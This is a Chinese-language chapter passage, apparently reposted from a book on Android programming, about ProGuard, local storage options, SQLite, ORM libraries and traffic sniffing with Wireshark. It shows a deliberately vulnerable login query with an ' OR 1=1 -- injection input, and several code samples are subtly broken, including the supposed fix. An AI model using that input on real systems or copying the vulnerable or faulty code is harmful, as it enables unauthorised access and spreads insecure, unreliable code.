-keep public class * extends android.view.View {
public <init>(android.content.Context);
public <init>(android.content.Context, android.util.AttributeSet);
public <init>(android.content.Context, android.util.AttributeSet, int);
public void set*(…);
}
-keepclasseswithmembers class * {
public <init>(android.content.Context, android.util.AttributeSet);
}
-keepclasseswithmembers class * {
public <init>(android.content.Context, android.util.AttributeSet, int);
}
-keepclassmembers class * extends android.content.Context {
public void *(android.view.View);
public void *(android.view.MenuItem);
}
-keepclassmembers class * implements android.os.Parcelable {
static ** CREATOR;
}
-keepclassmembers class **.R$* {
public static <fields>;
}
-keepclassmembers class * {
@android.webkit.JavascriptInterface <methods>;
}

ProGuard 通常需要为新添加的库包含一个自定义配置,特别是使用反射的库。在 Android Studio 项目中,ProGuard 文件将定期更新。

自从支持库 19.1 版本以来,函数 @Keep 被包含在注释库的一部分中。这个注释可以用来指定一个方法不应该被混淆。当我们通过反射访问方法时,这特别有用。

不安全的存储

存储是将信息保存到我们的设备或计算机的过程。Android API 基本上提供了五种不同的存储类型:

SharedPreferences

第一种也是最基本的是 SharedPreferences。这种存储类型将信息保存为 XML 文件,在私有文件夹中,我们保存的作为与每个值相关联的原始对。在下面的屏幕截图中,我们可以看到 shared_prefs 文件夹下的所有文件。这些文件是 SharedPreferences 文件。

如果我们从设备中提取其中一个,我们将能够看到以下内容:

XML 文件内的每个值都有以下结构:

<string name=\”AppStateRepository:AppVersion\”>2.0.0_1266 p P 1/11/16 10:53 AM</string>

名称是由文件名和变量名(我们用来存储值的名称)的组合构成的。原始类型 SharedPreference 也在 XML 标签内被界定(例如,<string…</string>)。最后,值包含在值字段内。

为了存储 SharedPreferences,我们需要使用类似于以下代码段的代码:

SharedPreferences settings = getSharedPreferences(\”NameOfPreferences\”, 0);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean(\”exampleValue\”, false);

为了提交更改,我们需要:

editor.commit();

为了恢复我们刚才存储的值,我们需要进行如下操作:

SharedPreferences settings = getSharedPreferences(\”NameOfPreferences\”, 0);
boolean exampleValue = settings.getBoolean(\”exampleValue\”, false);

InternalStorage(内部存储)

另一种是 InternalStorage。这意味着将信息存储在设备的内部内存中;只能由应用程序访问。如果用户卸载应用程序,此文件夹也将被卸载。

这是我们如何在 InternalStorage 中存储信息的方法:

String FILENAME = \”hello_file\”;
String name = \”hello world!\”;
FileOutputStream fos = openFileOutput(FILENAME, Context.MODE_PRIVATE);
fos.write(name.getBytes());
fos.close();

上述代码段将会在名为 hello_file 的文件中存储字符串 \”hello_world\”。

存储文件有不同的模式,不仅仅是我们在本段中看到的 MODE_PRIVATE:

MODE_APPEND:这个模式意味着如果文件已经存在,它将在文件末尾添加内容,而不是覆盖它。
MODE_WORLD_READABLE:这是一个危险的文件模式,因为它可以被整个系统读取,可能会造成安全漏洞。如果你想使用一种在应用程序之间共享信息的方法,最好使用 Android 内置的机制之一。这个模式为整个系统提供了对文件的读取模式。
MODE_WORLD_WRITEABLE:这与之前提到的类似,但在这个情况下,它提供了写入权限。

内部文件还有一个有趣的用途。如果我们使用 getCacheDir() 函数打开它们,可以作为缓存机制。通过这种方式打开文件,我们告诉 Android,当系统内存不足时,可以收集这个文件。请注意,不能 100%保证 Android 会收集这个文件。因此,除了依赖系统,你应该始终确保文件不会超过一定大小。当用户卸载应用程序时,这些文件将被自动删除:

注意

data/data 文件夹受到保护,未 root 的设备无法访问(它们被称为私有存储)。然而,如果设备被 root 了,它们可以很容易地被读取。这就是为什么我们绝不能在那里存储关键信息。

ExternalStorage(外部存储)

与之前研究的内部文件类似,ExternalStorage 将创建一个文件,但它不是保存到私有文件夹中,而是保存到外部文件夹中(通常是 SD 卡)。为了使用 ExternalStorage,我们需要两个权限:

<uses-permission android:name=\”android.permission.WRITE_EXTERNAL_STORAGE\”
android:maxSdkVersion=\”18\” />
<uses-permission android:name=\”android.permission.READ_EXTERNAL_STORAGE\”
android:maxSdkVersion=\”18\” />

注意这一行 android:maxSdkVersion=\”18\”。从 API 级别 18 开始,应用程序不再需要写入 ExternalStorage 的权限。然而,由于 Android 极度碎片化,这样做是一个好主意。

读者可能已经想象到,这些权限用于分别写入和读取 ExternalStorage。

为了写入或读取 ExternalStorage,我们首先需要证明它是可用的(例如,可能会发生存储单元未挂载的情况,因此我们的应用程序将无法写入):

public boolean checkIfExternalStorageIsWritable() {
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state)) {
return true;
}
return false;
}
public boolean checkIfExternalStorageIsReadable() {
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state) ||
Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) {
return true;
}
return false;
}

当确认我们可以访问存储系统后,我们可以继续进行文件的读取或写入操作。在文件中写入内容的过程与 Java 中的操作非常相似:

String filename = FILENAME;
File file = new File(Environment.getExternalStorageDirectory(), filename);
FileOutputStream fos;
fos = new FileOutputStream(file);
fos.write(mediaTagBuffer);
fos.flush();
fos.close();

同样,如果我们想要从 ExternalStorage 中读取文件,可以使用类似的代码片段:

File file = new File(Environment.getExternalStorageDirectory()
.getAbsolutePath(), filename);

删除文件

请记住,使用 ExternalStorage 时,当应用程序被移除时,文件不会被删除。如果应用程序设计不当,我们可能会因为永远不会使用的文件而占用大量空间。

通常的做法是将备份信息存储在 ExternalStorage 中,但你应该问自己这是否是最好的选择。为了评估是否应该使用 ExternalStorage,首先查询设备上可用的自由空间是一个好习惯:

File path = Environment.getExternalStorageDirectory();
StatFs stat = new StatFs(path.getPath());
long blockSize = stat.getBlockSize();
long availableBlocks = stat.getAvailableBlocks();
return Formatter.formatFileSize(this, availableBlocks * blockSize);

可以通过调用以下命令轻松删除文件:

file.delete();

使用外部或内部存储

既然我们知道了这两种可能性,读者可能会询问哪个地方是存储信息的理想选择。

没有银弹,也没有完美答案。答案可能会根据你的限制和试图解决的问题场景而有所不同。然而,请记住以下总结点:

即使应用程序被移除,ExternalStorage 中保存的文件仍然存在。另一方面,当应用程序被移除时,InternalStorage 中保存的所有文件也会被移除。
InternalStorage 总是可用的。ExternalStorage 的可用性则取决于设备。
InternalStorage 提供了更好的保护级别,防止外部访问文件,而 ExternalStorage 中的文件可以从整个应用程序普遍访问。请记住,已获得 root 权限的设备可以随时访问 InternalStorage 和 ExternalStorage。

数据库

Android 原生支持 SQLite 数据库。使用数据库存储的文件保存在一个私有文件夹(/data/data)。Android 原生提供了 SQLiteOpenHelper 对象,可用于存储到表格中。让我们看看使用 SQLiteOpenHelper 的代码示例:

public class ExampleOpenHelper extends SQLiteOpenHelper {
private static final int DATABASE_VERSION = 2;
private static final String EXAMPLE_TABLE_NAME = \”example\”;
private static final String EXAMPLE_TABLE_CREATE =
\”CREATE TABLE \” + EXAMPLE_TABLE_NAME + \” (\” +
KEY_WORD + \” TEXT, \” +
KEY_DEFINITION + \” TEXT);\”;
ExampleOpenHelper (Context context) {
super(context, DATABASE_NAME, null, DATABASE_VERSION);
}
@Override
public void onCreate(SQLiteDatabase db) {
db.execSQL(EXAMPLE_TABLE_CREATE);
}
}

如果数据库版本已经升级,我们可以使用 onUpgrade() 方法来更新数据库架构或在应用程序中执行任何需要的操作。以下截图展示了设备上安装的谷歌应用程序中的一个文件夹数据库:

数据库性能

在 Android 中,可以对 SQLite 数据库进行多项性能优化。这里我们提到其中的一些:

如果你的应用程序正在执行单一事务块,使用 db.beginTransaction(); 和 db.endTransaction(); 进行数据传输。默认情况下,每次你执行事务时,SQLite 运行时都会创建一个包装器,这使得操作成本变高。这仅在当你将此操作作为常规操作执行时(例如,在循环或迭代内部)建议使用。
在性能方面,关系是昂贵的。即使你使用了索引,处理关系所需的开销和努力也是相当大的,这很可能会明显减慢你的应用程序。
尽可能简化模式,避免不必要的属性。另一方面,模式也不应该过于通用——这会牺牲性能。在模式的代表性和性能之间取得平衡是困难的,但这对于数据库的生存至关重要。
避免为需要频繁访问的表创建视图。如果发生这种情况,有时创建一个特定的表并将所有信息存储在那里会更好。
尽可能使用 SQLiteStatement。从名字可以推断出,SQLiteStatement 是直接针对数据库执行的 SQL 语句。它能够显著提高性能和速度,尤其是与这个列表中的第一点结合使用时。

SQL 注入

与所有数据库系统一样,Android 中的 SQLite 也可能遭受 SQL 注入。

当恶意数据被插入到合法查询中时,就会发生 SQL 注入,通常会对数据库产生严重影响。一个例子可以更好地说明这一点:

public boolean checkLogin(String username, String password) {
boolean bool = false;
Cursor cursor = db.rawQuery(\”select * from login where USERNAME =
\’\” + username + \”\’ and PASSWORD = \’\” + password + \”\’;\”, null);
if (cursor != null) {
if (cursor.moveToFirst())
bool = true;
cursor.close();
}
return bool;
}

假设输入变量 username 和 password 来自一个表单,用户需要输入它们。在正常情况下,我们预计 SQL 查询会变成这样:

select * from login where USERNAME = \’username\’ and PASSWORD = \’password\’

但让我们假设一下,如果我们的用户是一个恶意的用户,他打算访问我们的数据库。他们可能会输入:

select * from login where USERNAME = \’\’ OR 1=1 –\’ and PASSWORD = \’irrelevant\’

由于他输入的条件是 (1=1) 并且查询的其余部分被注释掉,他实际上可以在不知道任何密码的情况下登录系统。为了防止 SQL 注入,最好的方法是清理正在输入的数据,并默认认为它不可信。为了做到这一点,我们将上述代码片段改成了以下形式:

public boolean checkLogin(String username, String password) {
boolean bool = false;
Cursor cursor = db.rawQuery(\”select * from login where USERNAME =
? and PASSWORD = \”, new String[]{param1, param2});
if (cursor != null) {
if (cursor.moveToFirst())
bool = true;
cursor.close();
}
return bool;
}

通过使用这个简单的方法,我们避免了恶意用户接管我们数据库的可能性。

ORM 框架

除了在 Android 中处理 SQL 存储的纯方法之外,还有一种流行的处理方式称为 ORM 框架。尽管 ORM(对象关系映射)是一个旧范式,但它简化了处理 ORM 对象的任务,将我们从低级查询中抽象出来,使我们能够专注于应用程序的细节。几乎每种语言都有几个 ORM 框架:Java 中的 Hibernate,Ruby 中的 ActiveRecord 等等。Android 有一系列可用于 ORM 目的库:实际上,Android Arsenal 提供了令人惊叹的开源库集合。在这里,我们提供一些库的小例子来展示它们是如何工作的;当然,评估所有利弊并决定是否将其实现到自己的项目中,是读者的责任。

OrmLite

OrmLite 是一个基于 Java 的开源框架,提供了 ORM 功能。请注意,它的名称不是 Android ORM Lite,这意味着它并非专门为 Android 设计的。OrmLite 大量使用注解。让我们看看使用 OrmLite 时类是什么样的一个例子:

@DatabaseTable(tableName = \”books\”)
public class Book {
@DatabaseField(id = true)
private String isbn;
@DatabaseField(id = true)
private String title;
@DatabaseField
private String author;
public User() {
}
public Book(String isbn, String title, String author) {
this.isbn = isbn;
this.title = title;
this.author = author;
}
public String getIsbn() {
return this.isbn;
}
public void setIsbn(String isbn) {
this.isbn = isbn;
}
public String getTitle() {
return this.title;
}
public void setTitle(String title) {
this.title = title;
}
public String getAuthor() {
return this.author;
}
public void setAuthor(String author) {
this.author = author;
}
}

OrmLite 在以下仓库中可以找到适用于 Android 的版本:

github.com/j256/ormlite-android。

SugarORM

SugarORM 是一个专门为 Android 开发的 ORM 引擎,可以从 satyan.github.io/sugar/index.html 下载。如果你在一个使用 Gradle 的应用程序中,它甚至更容易,你只需在你的 Gradle 构建文件中添加一行:

compile \’com.github.satyan:sugar:1.4\’

而 SugarORM 将会自动添加到你的项目中。现在是时候更新你的 AndroidManifest.xml 文件了:

<meta-data android:name=\”DATABASE\” android:value=\”sugar_example.db\” />
<meta-data android:name=\”VERSION\” android:value=\”2\” />
<meta-data android:name=\”QUERY_LOG\” android:value=\”true\” />
<meta-data android:name=\”DOMAIN_PACKAGE_NAME\” android:value=\”com.example\” />

这样,我们创建的类似于前面一个的 Book 类看起来是这样的:

public class Book extends SugarRecord<Book> {
String isbn;
String title;
String author;
public Book() { }
public Book(String isbn, String title,String author){
this.isbn = isbn;
this.title = title;
this.author = author;
}
}

在模型创建后添加用户再简单不过了:

Book exampleBook = new Book(getContext(),\”isbn\”,\”title\”,\”author\”); exampleBook.save();

GreenDAO

GreenDAO 可以说是 Android 上最快、性能最好的 ORM 引擎。它专门为 Android 设计,因此其开发考虑到了 Droid 平台的特殊性,帮助 ORM 引擎的速度比 OrmLite 快达 4.5 倍。下面的图表来自 GreenDao 的官方网站,它展示了与 OrmLite 在三种不同情况下(插入语句、更新语句或加载实体)的性能比较。

Realm

Realm 是一个相对较新的 ORM 引擎,被提议作为 SQLite(以及 iOS 中的 CoreData)的替代品。Realm 并不是建立在 SQLite 之上,而是建立在它自己的持久化引擎之上。这个引擎的一个优点是它是多平台的,因此可以轻松地在不同的技术之间复用。据说它非常轻量级且快速。它具有简单和简约的本质,如果我们需要执行复杂操作,这也可能是一个缺点。以下面的 Book 示例,这就是我们如何使用 Realm 处理它:

Realm realm = Realm.getInstance(this.getContext());
realm.beginTransaction();
Book book = realm.createObject(Book.class);
book.setIsbn(\”1111111×11\”);
book.setTitle(\”Book Title\”);
book.setAuthor(\”Book author\”);
realm.commitTransaction();

网络

将数据存储在云上、自己的后端或任何其他在线解决方案,如果操作得当(阅读下一节关于与服务器通信时加密的内容),在安全性方面将是最佳选择。为了执行网络操作,Android 默认提供了一些类,同时还有许多框架和库可以提供高级别的层来创建 HTTP 请求。

加密通信

我们怎么强调都不过分,在创建 Web 服务以及与应用程序通信时使用加密的通信渠道有多么重要。

最初,它旨在作为科学机构之间交换文档和信息的协议,因此那时安全性不是一个重要问题。

互联网发展得非常快,最初受限的 HTTPs 突然面临数百万用户之间的互动。有许多资源可以讨论 SSL 以及加密是如何进行的。为了本书的目的,我们将提到 HTTPS(代表HTTP Secure,即 SSL 上的 HTTP)下的通信通常能够抵御中间人攻击,并且不容易被嗅探。然而,攻击者仍然有一些方法可以破解通信通道并窃取通信内容,但这需要更深入的知识和对受害者的访问权限。不过,我们将会提到它们,以防读者想要研究。

嗅探

嗅探是攻击者用来从网络连接中收集信息的主要过程。有趣的是,为了嗅探其他设备的流量,你不需要欺骗它们并让它们连接到你的网络。只需连接到同一个网络就可以轻松完成。

要做到这一点,你需要从其官方网站www.wireshark.org/下载 Wireshark。根据你尝试安装的操作系统的不同,你可能还需要下载一些其他软件包。在无线网卡上开启监控或混杂模式。在 Linux 和各种 BSD 系统中(包括 Macintosh),这个过程相当简单。在 Windows 上,这个过程可能会相当复杂,有时需要特殊的无线网卡或工具。

当我们第一次启动 Wireshark 时,将会显示一个类似的屏幕:

在屏幕中央,将会显示所有可供监控的不同接口列表。这可能因机器而异,但在上一个列表中我们可以看到:

Wi-Fi 接口
Vboxnet 是与虚拟机对应的接口
来自 Macintosh 计算机的 Thunderbolt 接口
lo0 或回环是本地机器
苹果无线直接链接接口(awdl)

为了测试目的,我们将启动一个模拟器,并选择要监控的 Wi-Fi 接口。

注意

请注意,在你没有权限的网络中嗅探流量,在最好的情况下可能是不友好的行为。在最坏的情况下,你可能会犯下罪行。在将这一知识付诸实践之前,请检查你所在国家或地区的法律情况。

现在让我们从设备开始浏览。如果我们启动浏览器并访问一个没有任何保护的网站,我们将能够显示浏览器执行的所有不同请求:带有其 cookies 的 HTTP GET 操作、不同的资源等等:

在前面的屏幕截图中,我们可以看到 cookies、用户代理、主机……几乎整个 HTTP 请求都是透明的!这就是当我们尝试连接到一个没有 SSL 的 URL 时发生的情况。如果你检查设备上安装的应用程序,你会发现经常有一些应用程序没有使用任何加密,只是以纯文本形式发送信息。

总结

本章节分析了应用程序中的安全措施。安全本身是一个复杂的主题,其内容可以扩展到多本书籍。阅读完本章后,读者将了解数据可能被截获的方式。他们将能够安全地存储信息。可以对代码进行渗透分析,反之,也可以检查应用程序是否在无意中暴露敏感信息。

ProGuard 是一个广泛用于保护我们应用程序的工具。我们建议读者进一步查看官方文档。

在阅读本章之后,读者应该熟悉在 Android 中安全存储信息的所有不同选项,以及它们的优缺点。读者应该能够识别 SQL 注入并知道如何预防。

读者还将了解到,当网络没有得到正确保护时,嗅探流量的可能性。他们将熟悉 Wireshark 及其所提供的可能性。

安全是一个庞大的话题,许多公司和研究组织都在积极投资资源以检测和预防隐私和安全问题。由于篇幅有限,我们未能提及许多其他商业和开源工具。对于感兴趣的用户,我们建议阅读 OWASP 通讯。

#以上关于安卓高性能编程(三)的相关内容来源网络仅供参考,相关信息请以官方公告为准!

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93782.html

Like (0)
CSDN的头像CSDN
Previous 2024年7月26日
Next 2024年7月26日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注